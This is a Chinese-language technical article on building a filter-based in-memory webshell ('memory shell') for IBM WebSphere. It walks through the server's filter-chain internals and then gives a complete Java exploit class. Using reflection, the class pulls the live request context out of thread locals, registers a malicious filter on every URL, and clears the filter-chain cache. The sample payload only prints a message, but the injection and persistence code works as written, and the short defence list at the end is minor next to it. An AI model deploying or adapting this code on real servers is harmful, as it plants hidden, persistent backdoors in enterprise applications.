websphere内存马 构造分析过程
字数 1748 2025-08-22 12:22:37
WebSphere Filter内存马构造与分析
前言
WebSphere是IBM开发的一套应用程序服务器和相关软件工具的集合,主要用于构建、部署和管理企业级Java应用程序。本文详细分析WebSphere中Filter内存马的构造过程。
环境搭建
-
WebSphere环境搭建:参考WebSphere环境搭建指南
-
示例代码准备:
HelloFilter.java- 基础Filter示例HelloServlet.java- 基础Servlet示例TestFilter.java- 测试Filter示例web.xml- 配置Servlet和Filter映射
-
部署过程:
- 将代码打包为WAR文件
- 在WebSphere管理后台上传WAR包
- 安装时修改Context Root
分析过程
Filter调用链分析
-
Filter调用入口:
- 请求处理时调用
wrapper.doFilter() wrapper对象通过this._filters.get()获取
- 请求处理时调用
-
FilterChain构造:
- 调用
fc.doFilter(),其中fc对象包含_filters属性 fc对象通过this.getFilterChain()获取getFilterChain()调用this.getFilterChainContents()获取fcc对象
- 调用
-
FilterChainContents(fcc)获取:
- 首先尝试从
this.chainCache缓存获取 - 缓存不存在时,通过
this.webAppConfig.getUriFilterMappings()获取所有Filter - 遍历Filter并与请求路径匹配,将匹配的Filter名称存入
fcc._filterNames
- 首先尝试从
-
Filter实例化:
- 遍历
fcc._filterNames,调用this.getFilterInstanceWrapper()实例化Filter - 实例化过程:
- 检查
this._filterWrappers中是否已存在实例 - 不存在时调用
this.loadFilter()->this._loadFilter() - 最终通过
this.webAppConfig.getFilterInfo()获取Filter对象
- 检查
- 遍历
内存马注入流程
-
获取运行时上下文:
- 通过线程获取
SRTServletRequest对象 - 通过
getServletContext()获取Servlet上下文
- 通过线程获取
-
添加FilterConfig到FilterInfo:
- 实例化
FilterConfig对象 - 设置Filter类名和名称
- 调用
webConfig.addFilterInfo()添加配置
- 实例化
-
清空chainCache:
- 将
chainCache设置为Collections.synchronizedMap(new LinkedHashMap(20, 0.75F, true)) - 强制下次请求重新构建Filter链
- 将
-
添加FilterMapping:
- 实例化
FilterMapping对象 - 通过反射获取
uriFilterMappingInfos列表 - 调用
add()方法添加新的映射
- 实例化
完整EXP实现
package org.example;
import com.ibm.ws.webcontainer.filter.FilterMapping;
import com.ibm.ws.webcontainer.filter.WebAppFilterManagerImpl;
import com.ibm.ws.webcontainer.srt.SRTServletRequest;
import com.ibm.ws.webcontainer.webapp.WebAppConfigurationImpl;
import com.ibm.ws.webcontainer.filter.FilterConfig;
import javax.servlet.*;
import java.io.IOException;
import java.lang.reflect.Array;
import java.lang.reflect.Field;
import java.util.*;
public class InjectFilter {
private static final String FilterClass = "org.example.InjectFilter$FilterShell";
private static final String FilterName = "FilterShell";
private static final String pattern = "/*";
static {
try {
// Step1: 获取运行时上下文
SRTServletRequest srtServletRequest = getSRTServletRequest();
Object object = getField(srtServletRequest.getServletContext(), "context");
WebAppConfigurationImpl webconfig = (WebAppConfigurationImpl) getField(object, "config");
// Step2: 构造并添加FilterConfig
FilterConfig filterConfig = createAndConfigureFilterConfig(webconfig);
webconfig.addFilterInfo(filterConfig);
// Step3: 清空chainCache
resetFilterChainCache(object);
// Step4: 添加FilterMapping
addFilterMapping(object, filterConfig);
} catch (Exception e) {
e.printStackTrace();
}
}
private static SRTServletRequest getSRTServletRequest() throws Exception {
Object wsThreadLocals = getField(Thread.currentThread(), "wsThreadLocals");
if (wsThreadLocals != null) {
for (int i = 0; i < Array.getLength(wsThreadLocals); i++) {
Object obj = Array.get(wsThreadLocals, i);
if (obj != null && obj.getClass().getName().contains("WebContainerRequestState")) {
obj = getField(obj, "currentThreadsIExtendedRequest");
obj = getField(obj, "_requestContext");
return (SRTServletRequest) getField(obj, "request");
}
}
}
throw new RuntimeException("Failed to get SRTServletRequest");
}
private static FilterConfig createAndConfigureFilterConfig(WebAppConfigurationImpl webconfig)
throws Exception {
FilterConfig filterConfig = new com.ibm.ws.webcontainer.filter.FilterConfig(null, webconfig);
filterConfig.setFilterClassName(FilterClass);
filterConfig.setName(FilterName);
List<String> urlPatternMappings = new ArrayList<>();
urlPatternMappings.add(pattern);
Field field = filterConfig.getClass().getDeclaredField("urlPatternMappings");
field.setAccessible(true);
field.set(filterConfig, urlPatternMappings);
return filterConfig;
}
private static void resetFilterChainCache(Object context) throws Exception {
WebAppFilterManagerImpl filterManager = (WebAppFilterManagerImpl) getField(context, "filterManager");
Map chainCache = Collections.synchronizedMap(new LinkedHashMap(20, 0.75F, true));
Field field = filterManager.getClass().getSuperclass().getDeclaredField("chainCache");
field.setAccessible(true);
field.set(filterManager, chainCache);
}
private static void addFilterMapping(Object context, FilterConfig filterConfig) throws Exception {
FilterMapping filterMapping = new FilterMapping(pattern, filterConfig, null);
Object webAppConfig = getField(context, "webAppConfig");
ArrayList uriFilterMappingInfos = (ArrayList) getField(webAppConfig, "uriFilterMappingInfos");
uriFilterMappingInfos.add(filterMapping);
}
// 反射工具方法
public static Object getField(Object o, String s) throws Exception {
Field field = null;
Class<?> clazz = o.getClass();
while (clazz != null) {
try {
field = clazz.getDeclaredField(s);
break;
} catch (NoSuchFieldException e) {
clazz = clazz.getSuperclass();
}
}
if (field == null) {
throw new NoSuchFieldException(s);
}
field.setAccessible(true);
return field.get(o);
}
// 恶意Filter实现
public static class FilterShell implements javax.servlet.Filter {
@Override
public void init(javax.servlet.FilterConfig filterConfig) {}
@Override
public void doFilter(ServletRequest request, ServletResponse response, FilterChain chain)
throws IOException, ServletException {
// 恶意代码执行逻辑
System.out.println("getShell!!");
chain.doFilter(request, response);
}
@Override
public void destroy() {}
}
}
关键点总结
-
上下文获取:通过线程中的
wsThreadLocals获取SRTServletRequest,进而获取Servlet上下文 -
FilterConfig构造:需要正确设置Filter类名、名称和URL模式
-
缓存处理:必须清空
chainCache才能使新添加的Filter生效 -
映射添加:需要同时添加
FilterConfig和FilterMapping才能完整注册Filter -
反射使用:由于WebSphere内部API不可直接访问,需要大量使用反射
防御建议
- 监控WebSphere中动态添加的Filter
- 限制对WebSphere内部API的访问
- 定期检查
webAppConfig中的Filter配置 - 实施运行时字节码检测
参考
- WebSphere环境搭建指南
- WebSphere官方文档
- Java Servlet规范